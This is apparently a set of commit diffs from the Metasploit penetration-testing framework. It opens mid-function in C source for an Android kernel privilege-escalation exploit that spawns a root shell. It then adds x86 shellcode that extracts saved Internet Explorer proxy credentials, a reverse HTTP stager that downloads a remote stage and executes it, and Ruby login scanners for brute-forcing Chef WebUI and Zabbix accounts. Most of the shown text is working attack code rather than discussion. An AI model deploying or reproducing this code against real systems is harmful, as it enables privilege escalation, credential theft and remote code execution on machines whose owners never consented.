magicval = *((unsigned long *)MAGIC);
wake_actionthread(11);
if (*((unsigned long *)MAGIC) == magicval) {
printf("using MAGIC_ALT.\n");
MAGIC = MAGIC_ALT;
}
while (1) {
is_kernel_writing = (pthread_mutex_t *)malloc(4);
pthread_mutex_init(is_kernel_writing, NULL);
setup_exploit(MAGIC);
pid = wake_actionthread(11);
goodval = *((unsigned long *)MAGIC) & 0xffffe000;
printf("%p is a good number\n", (void *)goodval);
do_splice_tid_read = 0;
did_splice_tid_read = 0;
pthread_mutex_lock(&is_thread_awake_lock);
kill(pid, 12);
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
pthread_mutex_unlock(&is_thread_awake_lock);
while (1) {
if (do_splice_tid_read != 0) {
break;
}
usleep(10);
}
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
did_splice_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 != vcscnt + 1) {
break;
}
usleep(10);
}
goodval2 = 0;
setup_exploit(MAGIC);
*((unsigned long *)(MAGIC + 0x24)) = goodval + 8;
wake_actionthread(12);
goodval2 = *((unsigned long *)(MAGIC + 0x24));
printf("%p is also a good number.\n", (void *)goodval2);
for (i = 0; i < 9; i++) {
setup_exploit(MAGIC);
pid = wake_actionthread(10);
if (*((unsigned long *)MAGIC) < goodval2) {
HACKS_final_stack_base = (struct thread_info *)(*((unsigned long *)MAGIC) & 0xffffe000);
pthread_mutex_lock(&is_thread_awake_lock);
kill(pid, 12);
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
pthread_mutex_unlock(&is_thread_awake_lock);
printf("GOING\n");
write(HACKS_fdm, buf, sizeof buf);
while (1) {
sleep(10);
}
}
}
}
return NULL;
}
void *accept_socket(void *arg) {
int sockfd;
int yes;
struct sockaddr_in addr = {0};
int ret;
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
yes = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
listen(sockfd, 1);
while(1) {
ret = accept(sockfd, NULL, NULL);
if (ret < 0) {
printf("**** SOCK_PROC failed ****\n");
while(1) {
sleep(10);
}
} else {
printf("i have a client like hookers.\n");
}
}
return NULL;
}
void init_exploit() {
unsigned long addr;
pthread_t th1, th2, th3;
printf("running with pid %d\n", getpid());
pthread_create(&th1, NULL, accept_socket, NULL);
addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
addr += 0x800;
MAGIC = addr;
if ((long)addr >= 0) {
printf("first mmap failed?\n");
while (1) {
sleep(10);
}
}
addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
addr += 0x800;
MAGIC_ALT = addr;
if (addr > 0x110000) {
printf("second mmap failed?\n");
while (1) {
sleep(10);
}
}
pthread_mutex_lock(&done_lock);
pthread_create(&th2, NULL, search_goodnum, NULL);
pthread_create(&th3, NULL, send_magicmsg, NULL);
pthread_cond_wait(&done, &done_lock);
}
int main(int argc, char **argv) {
g_argc = argc;
if (argc >= 2) {
strlcat(rootcmd, "/system/bin/sh -c '", sizeof(rootcmd) - 1);
int i;
for (i=1;i<argc;i++) {
strlcat(rootcmd, argv[i], sizeof(rootcmd) - 1);
strlcat(rootcmd, " ", sizeof(rootcmd) - 1);
}
strlcat(rootcmd, "'", sizeof(rootcmd) - 1);
}
init_exploit();
printf("Finished, looping.\n");
while (1) {
sleep(10);
}
return 0;
}

View File

@ -1,5 +1,15 @@
#!/bin/bash
# This requires Java 1.7 or earlier because it uses private APIs.
# See http://kris-sigur.blogspot.com/2014/10/heritrix-java-8-and-sunsecuritytoolskey.html
# for more information.
# Attempt to use Java 1.6 when building on OS X, otherwise JAVA_HOME needs to
# be set manually.
if [ -x /usr/libexec/java_home ]; then
export JAVA_HOME=$(/usr/libexec/java_home -v 1.6)
fi
javac -classpath $JAVA_HOME/lib/tools.jar:. javaCompile/*.java
jar -cf msfJavaToolkit.jar javaCompile/*.class

View File

@ -0,0 +1,209 @@
;-----------------------------------------------------------------------------;
; Author: Unknown
; Compatible: Confirmed Windows Server 2003, IE Versions 4 to 6
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'
; Output: top element of stack will be pointer to null-terminated password and
; second will be pointer to null-terminated username of the Proxy saved in IE
pushad
jmp after_functions
alloc_memory: ; returns address to allocation in eax
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x1000 ; allocate 1000 byte for each variable (could be less)
push 0 ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXE$
ret ;
;
after_functions: ;
;
; allocate memory for variables and save pointers on stack
mov bl, 9 ;
alloc_loop: ;
call alloc_memory ;
push eax ; save allocation address on stack
dec bl ;
jnz alloc_loop ;
;
load_pstorec: ; loads the pstorec.dll
push 0x00636572 ; Push the bytes 'pstorec',0 onto the stack.
push 0x6f747370 ; ...
push esp ; Push a pointer to the 'pstorec',0 string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "pstorec" )
; this should leave a handle to the pstorec
; DLL-Module in eax
pop edx ; remove 'pstorec' string from stack
pop edx
PStoreCreateInstance_PStore:
; returns address to PStore in pPStore
pop edi ; pop pPstore
push edi ; restore stack
;
push 0 ;
push 0 ;
push 0 ;
push edi ; arg4: pPstore
push 0x2664BDDB ; hash ( "pstorec.dll", "PStoreCreateInstance" )
call ebp ; PstoreCreateInstance(address, 0, 0, 0)
;
PStore.EnumTypes: ; returns address to EnumPStoreTypes in pEnumPStoreTypes
pop eax ; pop pPstore
pop edx ; pop pEnumPstoreTypes
push edx ; restore stack
push eax ;
;
push edx ; arg1: pEnumPstoreTypes
push 0 ; arg2: NULL
push 0 ; arg3: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::EnumTypes in pstorec.dll
mov edx, [edx+0x38] ; &EnumTypes() = *(*(&PStore)+0x38)
call edx ; call IPStore::EnumTypes
mov edi, 0x5e7e8100 ; Value of pTypeGUID if Password is IE:Password-Protected
;
EnumPStoreTypes.raw_Next:
pop eax ; pop pPStore
pop edx ; pop pEnumPStoreTypes
pop ecx ; pop pTypeGUID
push ecx ; restore stack
push edx ;
push eax ;
;
push 0 ; arg1: NULL
push ecx ; arg2: pTypeGUID
push 1 ; arg3: 1
mov edx, [edx] ; load base address of EnumPStoreTypes
push edx ; push base address of EnumPStoreTypes (this)
mov edx, [edx] ; get function address of EnumPStoreTypes::raw_Next in pstorec.dll
mov edx, [edx+0x0C] ; &RawNext = *(*(*(&EnumPStoreTypes))+0x0C)
call edx ; call EnumPStoreTypes::raw_Next
;
mov eax, [esp+8] ;
mov eax, [eax] ;
;
test eax, eax ;
jz no_auth ; no Password found
cmp edi, eax ; do this until TypeGUID indicates "IE Password Protected sites"
jne EnumPStoreTypes.raw_Next
;
PStore.EnumSubtypes: ; returns address to EnumSubtypes () in pEnumSubtypes ()
pop eax ; pop pPstore
pop edx ; pop pEnumPstoreTypes
pop ecx ; pop pTypeGUID
pop edi ; pop pEnumSubtypes
push edi ; restore stack
push ecx ;
push edx ;
push eax ;
;
push edi ; arg1: pEnumSubtypes
push 0 ; arg2: NULL
push ecx ; arg3: pTypeGUID
push 0 ; arg4: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::EnumSubtypes in pstorec.dll
mov edx, [edx+0x3C] ; &Pstore.EnumSubTypes() = *(*(*(&PStore))+0x3C)
call edx ; call IPStore::EnumSubtypes
;
EnumSubtypes.raw_Next:
mov eax, [esp+0x0C] ; pop pEnumSubtypes
mov edx, [esp+0x10] ; pop psubTypeGUID
;
push 0 ; arg1: NULL
push edx ; arg2: psubTypeGUID
push 1 ; arg3: 1
mov eax, [eax] ; load base address of EnumSubtypes in eax
push eax ; push base address of EnumSubtypes (this)
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
mov edx, [edx+0x0C] ; &(EnumSubtypes.raw_Next) = *(*(&EnumSubtypes)+0x0C)
call edx ; call EnumSubtypes.raw_Next
;
PStore.EnumItems:
pop eax ; pop pPstore
pop ecx ;
pop edx ; pop pTypeGUID
push edx ; restore stack
push ecx ;
push eax ;
mov ecx, [esp+0x10] ; pop psubTypeGUID
mov edi, [esp+0x14] ; pop pspEnumItems
;
push edi ; arg1: pspEnumItems
push 0 ; arg2: NULL
push ecx ; arg3: psubTypeGUID
push edx ; arg4: pTyoeGUID
push 0 ; arg5: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::Enumitems in pstorec.dll
mov edx, [edx+0x54] ;
call edx ; call IPStore::Enumitems
;
spEnumItems.raw_Next:
mov eax, [esp+0x14] ; pop pspEnumItems
mov ecx, [esp+0x18] ; pop pitemName
;
push 0 ; arg1: NULL
push ecx ; arg2: pitemName
push 1 ; arg3: 1
mov eax, [eax] ; load base address of spEnumItems in eax
push eax ; push base addres of spEnumItems (this)
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
mov edx, [edx+0x0C] ;
call edx ;
;
PStore.ReadItem:
pop eax ; pop pPStore
push eax ;
;
push 0 ; arg1: NULL
push 0 ; arg2: NULL (stiinfo not needed)
mov ecx, [esp+0x24] ; pop ppsData (8. Element)
push ecx ; arg3: ppsData
mov ecx, [esp+0x2C] ; pop ppsDataLen
push ecx ; arg4: ppsDataLen (not needed?)
mov ecx, [esp+0x28] ; pop pitemName (7. Element)
mov ecx, [ecx] ;
push ecx ; arg5: pitemName
mov ecx, [esp+0x24] ; pop psubTypeGUID (5. Element)
push ecx ; arg6: psubTypeGUID
mov ecx, [esp+0x20] ; pop pTypeGUID (3. Element)
push ecx ; arg7: pTypeGUID
push 0 ; arg8: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base addres of PStore (this)
mov edx, [eax] ; get function address of IPStore::ReadItem in pstorec.dll
mov edx, [edx+0x44] ;
call edx ;
;
split_user_pass:
mov eax, [esp+0x1C] ; eax = ppsData
mov eax, [eax] ; now eax contains pointer to "user:pass"
push eax ; push pointer to user
mov cl, byte 0x3a ; load ":" in ecx
mov dl, byte [eax] ; load first byte of ppsData in edx
cmp cl, dl ;
jz no_auth ;
loop_split: ;
inc eax ;
mov dl, byte [eax] ;
cmp cl, dl ;
jnz loop_split ; increase eax until it points to ":"
;
mov [eax], byte 0x00 ; replace ":" with 00
inc eax ;
push eax ; push pointer to pass
;
no_auth:

View File

@ -0,0 +1,157 @@
;-----------------------------------------------------------------------------;
; Author: HD Moore
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
; Top and second top element of stack can be pointer to null-terminated
; password and pointer to null-terminated username of a proxy server to connect to.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
internetopen:
xor edi,edi
push edi ; DWORD dwFlags
push edi ; LPCTSTR lpszProxyBypass
push edi ; LPCTSTR lpszProxyName
push edi ; DWORD dwAccessType (PRECONFIG = 0)
push byte 0 ; NULL pointer
push esp ; LPCTSTR lpszAgent ("\x00")
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
jmp short dbl_get_server_host
internetconnect:
pop ebx ; Save the hostname pointer
xor edi, edi
push edi ; DWORD_PTR dwContext (NULL)
push edi ; dwFlags
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ecx ; password
push edx ; username
push dword 4444 ; PORT
push ebx ; HOSTNAME
push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
jmp get_server_uri
httpopenrequest:
pop ecx
xor edx, edx ; NULL
push edx ; dwContext (NULL)
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 ; INTERNET_FLAG_NO_UI
push edx ; accept types
push edx ; referrer
push edx ; version
push ecx ; url
push edx ; method
push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
mov esi, eax ; hHttpRequest
set_retry:
push byte 0x10
pop ebx
httpsendrequest:
xor edi, edi
push edi ; optional length
push edi ; optional
push edi ; dwHeadersLength
push edi ; headers
push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call ebp
test eax,eax
jnz short allocate_memory
try_it_again:
dec ebx
jz failure
jmp short httpsendrequest
dbl_get_server_host:
jmp get_server_host
get_server_uri:
call httpopenrequest
server_uri:
db "/12345", 0x00
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (8Mb ought to do us)
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push 8192 ; read length
push ebx ; buffer
push esi ; hRequest
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
call ebp
test eax,eax ; download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
get_server_host:
;//////////////////////////////////
;//get proxy credentials from stack
;//////////////////////////////////
get_proxy_auth:
pop esi ; delete the top 3 stack elements as they are
pop esi ; garbage from this block
pop esi
pop ecx ; save pointer to password in ecx
pop edx ; save pointer to username in edx
;/////////////////////////////////////////////////
; we use the credentials only in internetconnect//
;/////////////////////////////////////////////////
call internetconnect
server_host:

View File

@ -0,0 +1,18 @@
;-----------------------------------------------------------------------------;
; Author: Unknown
; Compatible: Windows Server 2003, IE Versions 4 to 6
; Build: >build.py stager_reverse_http_proxy_pstore
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_get_pstore_creds.asm"
%include "./src/block/block_reverse_http_use_proxy_creds.asm"
; By here we will have performed the reverse_tcp connection and EDI will be our socket.

View File

@ -44,7 +44,11 @@ module Metasploit
# convert port to FTP syntax
datahost = "#{$1}.#{$2}.#{$3}.#{$4}"
dataport = ($5.to_i * 256) + $6.to_i
self.datasocket = Rex::Socket::Tcp.create('PeerHost' => datahost, 'PeerPort' => dataport)
self.datasocket = Rex::Socket::Tcp.create(
'PeerHost' => datahost,
'PeerPort' => dataport,
'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }
)
end
self.datasocket
end

View File

@ -17,7 +17,7 @@ module Metasploit
# (see Base#attempt_login)
def attempt_login(credential)
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version, proxies
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
)
http_client = config_client(http_client)

View File

@ -12,6 +12,12 @@ module Metasploit
include ActiveModel::Validations
included do
# @!attribute framework
# @return [Object] The framework instance object
attr_accessor :framework
# @!attribute framework_module
# @return [Object] The framework module caller, if availale
attr_accessor :framework_module
# @!attribute connection_timeout
# @return [Fixnum] The timeout in seconds for a single SSH connection
attr_accessor :connection_timeout

View File

@ -34,7 +34,7 @@ module Metasploit
result_opts[:service_name] = 'http'
end
begin
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version)
cli.connect
req = cli.request_cgi({
'method'=>'POST',

View File

@ -0,0 +1,143 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# The ChefWebUI HTTP LoginScanner class provides methods to authenticate to Chef WebUI
class ChefWebUI < HTTP
DEFAULT_PORT = 80
PRIVATE_TYPES = [ :password ]
# @!attribute session_name
# @return [String] Cookie name for session_id
attr_accessor :session_name
# @!attribute session_id
# @return [String] Cookie value
attr_accessor :session_id
# Decides which login routine and returns the results
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result]
def attempt_login(credential)
result_opts = { credential: credential }
begin
status = try_login(credential)
result_opts.merge!(status)
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end
Result.new(result_opts)
end
# (see Base#check_setup)
def check_setup
begin
res = send_request({'uri' => normalize_uri('/users/login')})
return "Connection failed" if res.nil?
if res.code != 200
return "Unexpected HTTP response code #{res.code} (is this really Chef WebUI?)"
end
if res.body.to_s !~ /<title>Chef Server<\/title>/
return "Unexpected HTTP body (is this really Chef WebUI?)"
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
return "Unable to connect to target"
end
false
end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Resquest#request_raw)
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
cli.connect
req = cli.request_raw(opts)
res = cli.send_recv(req)
# Save the session ID cookie
if res && res.get_cookies =~ /(_\w+_session)=([^;$]+)/i
self.session_name = $1
self.session_id = $2
end
res
end
# Sends a login request
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Rex::Proto::Http::Response] The HTTP auth response
def try_credential(csrf_token, credential)
data = "utf8=%E2%9C%93" # ✓
data << "&authenticity_token=#{Rex::Text.uri_encode(csrf_token)}"
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
data << "&commit=login"
opts = {
'uri' => normalize_uri('/users/login_exec'),
'method' => 'POST',
'data' => data,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded',
'Cookie' => "#{self.session_name}=#{self.session_id}"
}
}
send_request(opts)
end
# Tries to login to Chef WebUI
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body
def try_login(credential)
# Obtain a CSRF token first
res = send_request({'uri' => normalize_uri('/users/login')})
unless (res && res.code == 200 && res.body =~ /input name="authenticity_token" type="hidden" value="([^"]+)"/m)
return {:status => Metasploit::Model::Login::Status::UNTRIED, :proof => res.body}
end
csrf_token = $1
res = try_credential(csrf_token, credential)
if res && res.code == 302
opts = {
'uri' => normalize_uri("/users/#{credential.public}/edit"),
'method' => 'GET',
'headers' => {
'Cookie' => "#{self.session_name}=#{self.session_id}"
}
}
res = send_request(opts)
if (res && res.code == 200 && res.body.to_s =~ /New password for the User/)
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
end
end
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
end
end
end
end
end

View File

@ -61,7 +61,7 @@ module Metasploit
# @param (see Rex::Proto::Http::Resquest#request_raw)
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
cli.connect
req = cli.request_raw(opts)
res = cli.send_recv(req)

View File

@ -47,7 +47,7 @@ module Metasploit
# (see Base#check_setup)
def check_setup
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version, proxies
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
)
request = http_client.request_cgi(
'uri' => uri,
@ -55,7 +55,7 @@ module Metasploit
)
begin
# Use _send_recv instead of send_recv to skip automatiu
# Use _send_recv instead of send_recv to skip automatic
# authentication
response = http_client._send_recv(request)
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
@ -95,7 +95,7 @@ module Metasploit
end
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version,
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
proxies, credential.public, credential.private
)
@ -160,6 +160,14 @@ module Metasploit
nil
end
# Combine the base URI with the target URI in a sane fashion
#
# @param [String] The target URL
# @return [String] the final URL mapped against the base
def normalize_uri(target_uri)
(self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/')
end
end
end
end

View File

@ -10,7 +10,7 @@ module Metasploit
# (see Base#attempt_login)
def attempt_login(credential)
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version, proxies
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
)
http_client = config_client(http_client)

View File

@ -33,7 +33,7 @@ module Metasploit
result_opts[:service_name] = 'http'
end
begin
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
cli.connect
req = cli.request_cgi({
'method'=>'POST',

View File

@ -35,7 +35,7 @@ module Metasploit
begin
cred = Rex::Text.uri_encode(credential.private)
body = "data%5BLogin%5D%5Bowner_name%5D=admin&data%5BLogin%5D%5Bowner_passwd%5D=#{cred}"
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version)
cli.connect
req = cli.request_cgi(
'method' => method,

View File

@ -33,7 +33,7 @@ module Metasploit
res = nil
begin
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
cli.connect
req = cli.request_cgi(req_opts)
res = cli.send_recv(req)

View File

@ -38,7 +38,7 @@ module Metasploit
:Timeout => connection_timeout,
:Retries => 2,
:Transport => ::SNMP::RexUDPTransport,
:Socket => ::Rex::Socket::Udp.create
:Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module })
)
result_options[:proof] = test_read_access(snmp_client)

View File

@ -10,7 +10,7 @@ module Metasploit
# (see Base#attempt_login)
def attempt_login(credential)
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version, proxies
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
)
result_opts = {

View File

@ -0,0 +1,136 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# The Zabbix HTTP LoginScanner class provides methods to do login routines
# for Zabbix 2.4 and 2.2
class Zabbix < HTTP
DEFAULT_PORT = 80
PRIVATE_TYPES = [ :password ]
# @!attribute version
# @return [String] Product version
attr_accessor :version
# @!attribute zsession
# @return [String] Cookie session
attr_accessor :zsession
# Decides which login routine and returns the results
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result]
def attempt_login(credential)
result_opts = { credential: credential }
begin
status = try_login(credential)
result_opts.merge!(status)
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end
Result.new(result_opts)
end
# (see Base#check_setup)
def check_setup
begin
res = send_request({'uri' => normalize_uri('/')})
return "Connection failed" if res.nil?
if res.code != 200
return "Unexpected HTTP response code #{res.code} (is this really Zabbix?)"
end
if res.body.to_s !~ /Zabbix ([^\s]+) Copyright .* by Zabbix/m
return "Unexpected HTTP body (is this really Zabbix?)"
end
self.version = $1
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
return "Unable to connect to target"
end
false
end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Resquest#request_raw)
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
cli.connect
req = cli.request_raw(opts)
res = cli.send_recv(req)
# Found a cookie? Set it. We're going to need it.
if res && res.get_cookies =~ /zbx_sessionid=(\w*);/i
self.zsession = $1
end
res
end
# Sends a login request
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Rex::Proto::Http::Response] The HTTP auth response
def try_credential(credential)
data = "request="
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
data << "&autologin=1"
data << "&enter=Sign%20in"
opts = {
'uri' => normalize_uri('index.php'),
'method' => 'POST',
'data' => data,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded'
}
}
send_request(opts)
end
# Tries to login to Zabbix
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body
def try_login(credential)
res = try_credential(credential)
if res && res.code == 302
opts = {
'uri' => normalize_uri('profile.php'),
'method' => 'GET',
'headers' => {
'Cookie' => "zbx_sessionid=#{self.zsession}"
}
}
res = send_request(opts)
if (res && res.code == 200 && res.body.to_s =~ /<title>Zabbix .*: User profile<\/title>/)
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
end
end
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
end
end
end
end
end

View File

@ -89,7 +89,8 @@ module Metasploit
'SSL' => dossl,
'SSLVersion' => opts['SSLVersion'] || ssl_version,
'Proxies' => proxies,
'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i
'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i,
'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }
)
# enable evasions on this socket
set_tcp_evasions(nsock)

View File

@ -75,6 +75,12 @@ require 'msf/http/jboss'
# Kerberos Support
require 'msf/kerberos/client'
# Java RMI Support
require 'msf/java/rmi/client'
# Java JMX Support
require 'msf/java/jmx'
# Drivers
require 'msf/core/exploit_driver'

View File

@ -130,7 +130,7 @@ class Msf::DBManager
#
def check
::ActiveRecord::Base.connection_pool.with_connection {
res = ::Mdm::Host.find(:first)
res = ::Mdm::Host.first
}
end

View File

@ -36,7 +36,7 @@ module Msf::DBManager::Client
ret = {}
host = get_host(:workspace => wspace, :host => addr)
client = host.clients.find_or_initialize_by_ua_string(opts[:ua_string])
client = host.clients.where(ua_string: opts[:ua_string]).first_or_initialize
opts[:ua_string] = opts[:ua_string].to_s

View File

@ -102,28 +102,28 @@ module Msf::DBManager::Cred
# If duplicate usernames are okay, find by both user and password (allows
# for actual duplicates to get modified updated_at, sources, etc)
if token[0].nil? or token[0].empty?
cred = service.creds.find_or_initialize_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "")
cred = service.creds.where(user: token[0] || "", ptype: ptype, pass: token[1] || "").first_or_initialize
else
cred = service.creds.find_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "")
unless cred
dcu = token[0].downcase
cred = service.creds.find_by_user_and_ptype_and_pass( dcu || "", ptype, token[1] || "")
unless cred
cred = service.creds.find_or_initialize_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "")
cred = service.creds.where(user: token[0] || "", ptype: ptype, pass: token[1] || "").first_or_initialize
end
end
end
else
# Create the cred by username only (so we can change passwords)
if token[0].nil? or token[0].empty?
cred = service.creds.find_or_initialize_by_user_and_ptype(token[0] || "", ptype)
cred = service.creds.where(user: token[0] || "", ptype: ptype).first_or_initialize
else
